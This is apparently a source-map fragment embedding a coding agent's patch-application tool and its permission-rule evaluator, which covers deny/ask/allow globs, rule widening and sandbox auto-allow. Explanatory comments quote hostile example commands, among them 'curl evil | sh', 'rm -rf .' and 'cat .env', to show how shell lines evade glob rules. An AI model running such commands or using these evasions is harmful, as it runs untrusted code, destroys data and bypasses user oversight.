'patch_conflict',\r\n remediation: 'Reread the workspace and regenerate the patch.',\r\n });\r\n staged.push({\r\n operation: entry.operation,\r\n absolutePath: entry.filePath,\r\n writePath: entry.filePath,\r\n relativePath: entry.relativePath,\r\n before,\r\n mutation: {\r\n kind: 'delete',\r\n filePath: entry.relativePath,\r\n addedLines: 0,\r\n removedLines: linesOf(before.text).length,\r\n },\r\n });\r\n } else {\r\n if (!before.exists)\r\n return toolFailure(`File not found: ${entry.relativePath}`, {\r\n code: 'patch_context_not_found',\r\n remediation: 'Reread the file and regenerate the patch.',\r\n });\r\n const applied = applyHunks(before.text, entry.operation.hunks);\r\n if (applied.mismatch)\r\n return toolFailure(\r\n `${entry.relativePath}: ${applied.mismatch.structuredError?.message}`,\r\n {\r\n ...applied.mismatch.structuredError,\r\n code: applied.mismatch.structuredError?.code ?? 'patch_context_not_found',\r\n remediation: applied.mismatch.structuredError?.remediation,\r\n details: {\r\n ...applied.mismatch.structuredError?.details,\r\n filePath: entry.relativePath,\r\n lineEnding: before.mixedLineEndings ? 'mixed' : before.lineEnding,\r\n normalizedMatching: true,\r\n },\r\n },\r\n );\r\n const afterText = applied.text;\r\n const { stats } = await renderDiffWithStatsAsync(before.text, afterText, 3, ctx.signal);\r\n staged.push({\r\n operation: entry.operation,\r\n absolutePath: entry.filePath,\r\n writePath: entry.canonicalPath,\r\n relativePath: entry.relativePath,\r\n before,\r\n afterText,\r\n afterBytes: restoreTextEncoding(afterText, before),\r\n mutation: mutationFromDiff(entry.relativePath, 'update', stats),\r\n });\r\n }\r\n }\r\n\r\n const mutations = staged.map((file) => file.mutation);\r\n const changedLines = mutations.reduce(\r\n (total, mutation) => total + mutation.addedLines + mutation.removedLines,\r\n 0,\r\n );\r\n const contextLines = parsed.operations.reduce(\r\n (total, operation) =>\r\n total +\r\n (operation.kind === 'update'\r\n ? operation.hunks.reduce(\r\n (hunkTotal, hunk) =>\r\n hunkTotal + hunk.lines.filter((line) => line.kind === 'context').length,\r\n 0,\r\n )\r\n : 0),\r\n 0,\r\n );\r\n const changeBudgetWarnings: string[] = [];\r\n if (changedLines > 2_000) changeBudgetWarnings.push('large_change');\r\n if (changedLines > 100 && changedLines > Math.max(1, contextLines) * 20)\r\n changeBudgetWarnings.push('low_context_to_change_ratio');\r\n\r\n const diffs: string[] = [];\r\n for (const file of staged) {\r\n throwIfAborted(ctx.signal);\r\n const afterText = file.afterText ?? '';\r\n const { diff } = await renderDiffWithStatsAsync(\r\n file.before.text,\r\n afterText,\r\n 3,\r\n ctx.signal,\r\n );\r\n if (diff) diffs.push(`--- ${file.relativePath}\\n+++ ${file.relativePath}\\n${diff}`);\r\n }\r\n const committed: StagedFile[] = [];\r\n try {\r\n for (const file of staged) {\r\n throwIfAborted(ctx.signal);\r\n committed.push(file);\r\n if (file.operation.kind === 'delete')\r\n await removeFileAtomically(file.absolutePath, ctx.signal);\r\n else\r\n await writeFileAtomically(\r\n file.writePath,\r\n file.afterBytes!,\r\n ctx.signal,\r\n file.before.mode,\r\n );\r\n const check = await readTextSnapshot(\r\n file.absolutePath,\r\n file.operation.kind === 'delete',\r\n );\r\n if (\r\n file.operation.kind === 'delete'\r\n ? check.exists\r\n : !check.exists || !check.bytes.equals(file.afterBytes!)\r\n )\r\n throw new Error(`Post-write verification failed for ${file.relativePath}`);\r\n }\r\n } catch (error) {\r\n let rollbackFailed = false;\r\n for (const file of committed.reverse()) {\r\n try {\r\n if (file.before.exists)\r\n await writeFileAtomically(\r\n file.writePath,\r\n file.before.bytes,\r\n undefined,\r\n file.before.mode,\r\n );\r\n else await removeFileAtomically(file.absolutePath).catch(() => undefined);\r\n } catch {\r\n rollbackFailed = true;\r\n }\r\n }\r\n return toolFailure(\r\n `Patch commit failed${rollbackFailed ? '; rollback also failed' : ' and was rolled back'}: ${error instanceof Error ? error.message : String(error)}`,\r\n {\r\n code: rollbackFailed ? 'patch_rollback_failed' : 'filesystem_error',\r\n remediation: rollbackFailed\r\n ? 'Inspect the affected files and restore them manually.'\r\n : 'Retry after checking the workspace state.',\r\n },\r\n );\r\n }\r\n\r\n const observations = [];\r\n for (const file of staged) {\r\n if (file.operation.kind !== 'delete')\r\n observations.push(\r\n await observeFile(\r\n ctx,\r\n file.absolutePath,\r\n file.operation.kind === 'add' ? 'create' : 'edit',\r\n ),\r\n );\r\n }\r\n const result = toolSuccess(\r\n diffs.join('\\n') || 'Patch applied successfully (no textual change)',\r\n {\r\n data: {\r\n files: mutations.map((mutation) => mutation.filePath),\r\n changedFiles: mutations.length,\r\n changedLines,\r\n patchBytes: parsed.bytes,\r\n changeBudgetWarnings,\r\n },\r\n artifacts: {\r\n fileMutation: mutations[0],\r\n fileMutations: mutations,\r\n fileObservations: observations,\r\n },\r\n presentation: {\r\n kind: 'diff',\r\n summary: `Applied patch to ${mutations.length} ${mutations.length === 1 ? 'file' : 'files'}`,\r\n target: mutations.length === 1 ? mutations[0].filePath : `${mutations.length} files`,\r\n },\r\n },\r\n );\r\n return result;\r\n } catch (error) {\r\n const code = errorCodeFor(error);\r\n return toolFailure(error instanceof Error ? error.message : String(error), {\r\n code,\r\n remediation: 'Reread the affected file and regenerate the patch.',\r\n });\r\n }\r\n },\r\n );\r\n}\r\n\r\nexport const patchTools: ToolDefinition[] = [\r\n {\r\n name: 'ApplyPatch',\r\n argumentAliases: { input: 'patch' },\r\n description:\r\n 'Apply a Codex-style patch with Update File, Add File, or Delete File operations across one or more files atomically. Read the targets first; use exact contextual hunks, and regenerate the patch after a context mismatch instead of resending it unchanged.',\r\n parameters: {\r\n type: 'object',\r\n properties: {\r\n patch: {\r\n type: 'string',\r\n minLength: 1,\r\n maxLength: MAX_PATCH_BYTES,\r\n description: 'Patch text beginning with *** Begin Patch and ending with *** End Patch',\r\n },\r\n baseObservation: {\r\n type: 'string',\r\n maxLength: 128,\r\n description:\r\n 'Optional short observation identifier for diagnostics; freshness is checked implicitly.',\r\n },\r\n },\r\n required: ['patch'],\r\n additionalProperties: false,\r\n },\r\n execute: applyPatch,\r\n },\r\n];\r\n","import type { ResolvedSettings } from './settings.js';\r\nimport type { PermissionDecision, PermissionResult, ToolCall } from './types/tools.js';\r\nimport { canonicalToolName } from './tools/aliases.js';\r\nimport { getPrimaryArg } from './tools/primary-arg.js';\r\nimport { globToRegex } from './tools/glob-regex.js';\r\nimport { parsePatch, type PatchOperation } from './tools/patch.js';\r\nimport { sandboxCoverage } from './sandbox.js';\r\n\r\n/**\r\n * Parse a permission rule string like \"Bash(git *)\" or \"Read(./.env)\" into\r\n * { toolName, pattern }. The pattern is a glob matched against the tool's\r\n * primary argument. A bare \"Tool\" (no parens) means match any argument.\r\n * Empty parens \"Tool()\" also means match any argument.\r\n */\r\nexport interface ParsedRule {\r\n toolName: string;\r\n /** Glob pattern for the primary argument, or null for match-all. */\r\n pattern: string | null;\r\n}\r\n\r\nexport interface PermissionVerdict {\r\n decision: 'allow' | 'deny' | 'ask';\r\n matchedRule?: string;\r\n source?: 'allow' | 'deny' | 'ask' | 'default' | 'sandbox';\r\n}\r\n\r\n/**\r\n * Seams for permission evaluation. `sandboxBackendAvailable` exists so tests can\r\n * exercise the missing-bwrap branch on a host that has bwrap installed; nothing\r\n * in production passes it.\r\n */\r\nexport interface PermissionEvaluationOptions {\r\n sandboxBackendAvailable?: () => boolean;\r\n}\r\n\r\nexport function parseRule(rule: string): ParsedRule {\r\n const parenIdx = rule.indexOf('(');\r\n if (parenIdx === -1) {\r\n return { toolName: rule.trim(), pattern: null };\r\n }\r\n const toolName = rule.slice(0, parenIdx).trim();\r\n const closeIdx = rule.lastIndexOf(')');\r\n if (closeIdx === -1 || closeIdx <= parenIdx) {\r\n // Malformed — treat as bare tool name.\r\n return { toolName, pattern: null };\r\n }\r\n const pattern = rule.slice(parenIdx + 1, closeIdx).trim();\r\n return { toolName, pattern: pattern.length === 0 ? null : pattern };\r\n}\r\n\r\n/**\r\n * Normalize a path-like string for matching: strip leading `./` so that\r\n * `./.env` and `.env` are equivalent. Non-path args (commands, queries)\r\n * pass through unchanged.\r\n */\r\nfunction normalizePathArg(s: string): string {\r\n if (s.startsWith('./')) return s.slice(2);\r\n return s;\r\n}\r\n\r\n/**\r\n * Check whether a parsed rule matches a tool call. Both the rule pattern\r\n * and the primary argument are path-normalized (leading `./` stripped) for\r\n * Read/Write/Edit-style tools so `Read(./.env)` matches a call with\r\n * `filePath: \".env\"`.\r\n */\r\nfunction toolNameMatchesRule(ruleToolName: string, toolName: string): boolean {\r\n if (ruleToolName === toolName) return true;\r\n if (!ruleToolName.startsWith('mcp__')) return false;\r\n const serverName = ruleToolName.slice('mcp__'.length);\r\n // A bare MCP server namespace (mcp__github) intentionally covers every\r\n // tool from that server. A full tool rule remains exact.\r\n return Boolean(\r\n serverName && !serverName.includes('__') && toolName.startsWith(`${ruleToolName}__`),\r\n );\r\n}\r\n\r\nfunction ruleMatches(rule: ParsedRule, toolName: string, primaryArg: string): boolean {\r\n if (!toolNameMatchesRule(rule.toolName, toolName)) return false;\r\n if (rule.pattern === null) return true; // match-all\r\n const normalizedArg = normalizePathArg(primaryArg);\r\n const normalizedPattern = rule.pattern.startsWith('./') ? rule.pattern.slice(2) : rule.pattern;\r\n return globToRegex(normalizedPattern).test(normalizedArg);\r\n}\r\n\r\nexport function permissionRuleForToolCall(call: ToolCall): string {\r\n const toolName = canonicalToolName(call.name);\r\n const primaryArg = getPrimaryArg(call.arguments);\r\n if (toolName === 'WebSearch') return toolName;\r\n if (toolName === 'WebFetch' && primaryArg) {\r\n try {\r\n const url = new URL(primaryArg);\r\n return `${toolName}(${url.origin}/**)`;\r\n } catch {\r\n // An invalid URL must not widen into a tool-wide permission.\r\n }\r\n }\r\n return primaryArg ? `${toolName}(${primaryArg})` : toolName;\r\n}\r\n\r\n/**\r\n * Read an approver's answer, which may be a bare result or one naming a rule.\r\n *\r\n * Approvers that cannot widen a scope — the print-mode prompt, managed agents —\r\n * keep returning the string, so only the surface that offers the choice has to\r\n * know the richer shape exists.\r\n */\r\nexport function permissionResultOf(decision: PermissionResult | PermissionDecision) {\r\n return typeof decision === 'string' ? decision : decision.result;\r\n}\r\n\r\n/** The rule an approver picked, or `undefined` to derive it from the call. */\r\nexport function permissionRuleOf(\r\n decision: PermissionResult | PermissionDecision,\r\n): string | undefined {\r\n return typeof decision === 'string' ? undefined : decision.rule;\r\n}\r\n\r\n/** How many rules the \"Always allow\" scope ladder may offer, exact included. */\r\nconst RULE_LADDER_MAX = 3;\r\n\r\n/**\r\n * Shell characters that chain or redirect one command into another.\r\n *\r\n * A widened rule is a glob over the whole command string and `*` crosses\r\n * anything, so `Bash(npm *)` would also match `npm x && curl evil | sh`. Book\r\n * cannot express \"and nothing else\" in its glob language, so it declines to\r\n * offer a widened rule when the command it learned from is already a compound\r\n * one: the user would be generalizing from an example whose shape they cannot\r\n * see repeated.\r\n */\r\nconst SHELL_CHAINING = /[;&|><`$(){}\\n]/;\r\n\r\n/**\r\n * Rules the \"Always allow\" button may write, narrowest first.\r\n *\r\n * The exact rule is always first and is what the button offers by default. For\r\n * a shell command it is also nearly useless: `Bash(npm run check)` matches that\r\n * byte sequence and nothing else, so a user who pressed \"Always allow\" to stop\r\n * being asked was asked again on the very next call. The remaining entries drop\r\n * one trailing token at a time — `npm run check` offers `npm run *` then\r\n * `npm *` — and the caller must show the pattern it is about to write, because\r\n * the difference between these is the whole decision.\r\n *\r\n * Only Bash gets a ladder. Paths are already reusable as written, and WebFetch\r\n * globs its own origin in {@link permissionRuleForToolCall}.\r\n */\r\nexport function permissionRuleLadder(call: ToolCall): string[] {\r\n const exact = permissionRuleForToolCall(call);\r\n if (canonicalToolName(call.name) !== 'Bash') return [exact];\r\n\r\n const command = getPrimaryArg(call.arguments).trim();\r\n if (!command || SHELL_CHAINING.test(command)) return [exact];\r\n\r\n const tokens = command.split(/\\s+/);\r\n const ladder = [exact];\r\n for (let take = tokens.length - 1; take >= 1 && ladder.length < RULE_LADDER_MAX; take -= 1) {\r\n const prefix = `Bash(${tokens.slice(0, take).join(' ')} *)`;\r\n if (!ladder.includes(prefix)) ladder.push(prefix);\r\n }\r\n return ladder;\r\n}\r\n\r\nexport function permissionRuleMatchesCall(rule: string, call: ToolCall): boolean {\r\n const toolName = canonicalToolName(call.name);\r\n const primaryArg = getPrimaryArg(call.arguments);\r\n if (toolName === 'WebFetch' && primaryArg) {\r\n try {\r\n // URL.toString() gives origin roots a trailing slash, matching the remembered origin glob.\r\n return ruleMatches(parseRule(rule), toolName, new URL(primaryArg).toString());\r\n } catch {\r\n // Invalid URLs retain the normal raw-argument matching behavior.\r\n }\r\n }\r\n return ruleMatches(parseRule(rule), toolName, primaryArg);\r\n}\r\n\r\nfunction patchOperations(args: Record<string, unknown>): PatchOperation[] {\r\n const parsed = parsePatch(args.patch);\r\n return 'operations' in parsed ? parsed.operations : [];\r\n}\r\n\r\nfunction ruleMatchesPatch(rule: ParsedRule, path: string): boolean {\r\n return ruleMatches(rule, rule.toolName, path);\r\n}\r\n\r\nfunction patchRuleSupportsOperation(rule: ParsedRule, operation: PatchOperation): boolean {\r\n if (rule.toolName === 'ApplyPatch') return true;\r\n if (rule.toolName === 'Edit') return operation.kind === 'update';\r\n if (rule.toolName === 'Write') return operation.kind === 'update' || operation.kind === 'add';\r\n return false;\r\n}\r\n\r\nfunction compatiblePatchRuleMatches(rule: ParsedRule, operations: PatchOperation[]): boolean {\r\n if (!['ApplyPatch', 'Edit', 'Write'].includes(rule.toolName)) return false;\r\n if (rule.toolName === 'ApplyPatch' && rule.pattern === null) return true;\r\n return operations.some(\r\n (operation) =>\r\n patchRuleSupportsOperation(rule, operation) &&\r\n (rule.pattern === null || ruleMatchesPatch(rule, operation.path)),\r\n );\r\n}\r\n\r\n/**\r\n * Extract the primary argument from a tool call for rule matching.\r\n * Delegates to the shared getPrimaryArg utility.\r\n */\r\nexport function primaryArgForRule(_toolName: string, args: Record<string, unknown>): string {\r\n return getPrimaryArg(args);\r\n}\r\n\r\n/**\r\n * Has the user asked to be consulted about anything at all?\r\n *\r\n * A shell command line is not a primary argument the way a file path is: one\r\n * line can read a file, write a file, reach the network, and chain three more\r\n * commands behind `&&`. A `deny` or `ask` glob therefore only ever matches the\r\n * shapes the user thought to write down — `deny: [\"Bash(rm *)\"]` does not match\r\n * `true && rm -rf .` — and it is the *default ask* underneath that catches\r\n * everything the glob missed, including the same action performed through a\r\n * different tool (`cat .env` against a `Read` deny, `curl` against a `WebFetch`\r\n * deny).\r\n *\r\n * So the presence of any hand-written deny/ask rule is treated as the user\r\n * saying \"adjudicate my shell commands\", and the default ask stays. Removing it\r\n * would turn every such rule from a floor into a list of exact strings to avoid.\r\n */\r\nexport function hasAdjudicationPolicy(settings: ResolvedSettings): boolean {\r\n return settings.permissions.deny.length > 0 || settings.permissions.ask.length > 0;\r\n}\r\n\r\n/**\r\n * Would `sandbox.autoAllowBashIfSandboxed` allow this call without a prompt?\r\n *\r\n * True only for a Bash call whose exact command text genuinely executes inside\r\n * a bubblewrap namespace. The command is read straight off `args.command` and\r\n * trimmed — byte-for-byte what `buildEffectiveCommand` in tools/shell.ts\r\n * matches against `excludedCommands` — rather than through `getPrimaryArg`,\r\n * which truncates to the first line. Judging a different string here than the\r\n * Bash tool judges is how \"sandboxed, so auto-allow\" and \"excluded, so run it\r\n * on the host\" end up applying to the same call.\r\n *\r\n * It is also true only when the user wrote no deny/ask rules at all\r\n * ({@link hasAdjudicationPolicy}). The bubblewrap namespace binds the workspace\r\n * read-write and shares the host network unless a domain policy is declared, so\r\n * \"sandboxed\" bounds the blast radius to the workspace — it does not make the\r\n * command harmless, and it is not a substitute for a prompt the user asked for.\r\n */\r\nfunction sandboxAutoAllows(\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n settings: ResolvedSettings,\r\n options: PermissionEvaluationOptions,\r\n): boolean {\r\n if (!settings.sandbox.autoAllowBashIfSandboxed) return false;\r\n if (canonicalToolName(toolName) !== 'Bash') return false;\r\n if (hasAdjudicationPolicy(settings)) return false;\r\n const command = typeof args.command === 'string' ? args.command.trim() : '';\r\n if (!command) return false;\r\n return sandboxCoverage(command, settings.sandbox, options.sandboxBackendAvailable).sandboxed;\r\n}\r\n\r\n/**\r\n * Evaluate permission rules against a tool call. Rules are evaluated in\r\n * CC's order: deny → ask → allow. First match wins.\r\n *\r\n * Returns 'allow', 'deny', or 'ask' (the default when no rule matches).\r\n */\r\nexport function evaluatePermission(\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n settings: ResolvedSettings,\r\n options: PermissionEvaluationOptions = {},\r\n): 'allow' | 'deny' | 'ask' {\r\n return evaluatePermissionDetail(toolName, args, settings, options).decision;\r\n}\r\n\r\nexport function evaluatePermissionDetail(\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n settings: ResolvedSettings,\r\n options: PermissionEvaluationOptions = {},\r\n): PermissionVerdict {\r\n const { deny, ask, allow } = settings.permissions;\r\n\r\n // ApplyPatch is the canonical mutation surface, but existing Edit/Write rules\r\n // remain valid for compatibility. A multi-file patch is allowed only when every\r\n // target is covered; a deny on any target wins.\r\n if (toolName === 'ApplyPatch') {\r\n const operations = patchOperations(args);\r\n const compatible = (ruleStr: string) => {\r\n const rule = parseRule(ruleStr);\r\n return (\r\n rule.toolName === 'ApplyPatch' || rule.toolName === 'Edit' || rule.toolName === 'Write'\r\n );\r\n };\r\n for (const ruleStr of deny) {\r\n if (!compatible(ruleStr)) continue;\r\n const rule = parseRule(ruleStr);\r\n if (compatiblePatchRuleMatches(rule, operations))\r\n return { decision: 'deny', matchedRule: ruleStr, source: 'deny' };\r\n }\r\n for (const ruleStr of ask) {\r\n if (!compatible(ruleStr)) continue;\r\n const rule = parseRule(ruleStr);\r\n if (compatiblePatchRuleMatches(rule, operations))\r\n return { decision: 'ask', matchedRule: ruleStr, source: 'ask' };\r\n }\r\n const allowRules = allow.filter(compatible).map(parseRule);\r\n if (\r\n operations.length > 0 &&\r\n operations.every((operation) =>\r\n allowRules.some(\r\n (rule) =>\r\n patchRuleSupportsOperation(rule, operation) &&\r\n (rule.pattern === null || ruleMatchesPatch(rule, operation.path)),\r\n ),\r\n )\r\n ) {\r\n return { decision: 'allow', matchedRule: allow.find(compatible), source: 'allow' };\r\n }\r\n if (allowRules.some((rule) => rule.toolName === 'ApplyPatch' && rule.pattern === null)) {\r\n return { decision: 'allow', matchedRule: allow.find(compatible), source: 'allow' };\r\n }\r\n return { decision: 'ask', source: 'default' };\r\n }\r\n\r\n const call: ToolCall = { id: 'permission-evaluation', name: toolName, arguments: args };\r\n\r\n // Deny rules first.\r\n for (const ruleStr of deny) {\r\n if (permissionRuleMatchesCall(ruleStr, call)) {\r\n return { decision: 'deny', matchedRule: ruleStr, source: 'deny' };\r\n }\r\n }\r\n\r\n // Ask rules second.\r\n for (const ruleStr of ask) {\r\n if (permissionRuleMatchesCall(ruleStr, call)) {\r\n return { decision: 'ask', matchedRule: ruleStr, source: 'ask' };\r\n }\r\n }\r\n\r\n // Allow rules third.\r\n for (const ruleStr of allow) {\r\n if (permissionRuleMatchesCall(ruleStr, call)) {\r\n return { decision: 'allow', matchedRule: ruleStr, source: 'allow' };\r\n }\r\n }\r\n\r\n // `sandbox.autoAllowBashIfSandboxed` is evaluated last, and only in place of\r\n // the *default* ask. Every user-written rule outranks it: a matching `deny`\r\n // has already returned above and can never be softened into an allow (the\r\n // property the hard-deny check in the agent loop depends on), a matching\r\n // `ask` still prompts, and — because a shell line evades globs far too easily\r\n // — a deny/ask list that exists but did not match keeps the default ask too.\r\n // The setting only removes the prompt Book raises when the user configured no\r\n // adjudication at all, and only for a command really confined by bubblewrap.\r\n if (sandboxAutoAllows(toolName, args, settings, options)) {\r\n return { decision: 'allow', source: 'sandbox' };\r\n }\r\n\r\n // No rule matched — default to asking.\r\n return { decision: 'ask', source: 'default' };\r\n}\r\n"],"mappings":"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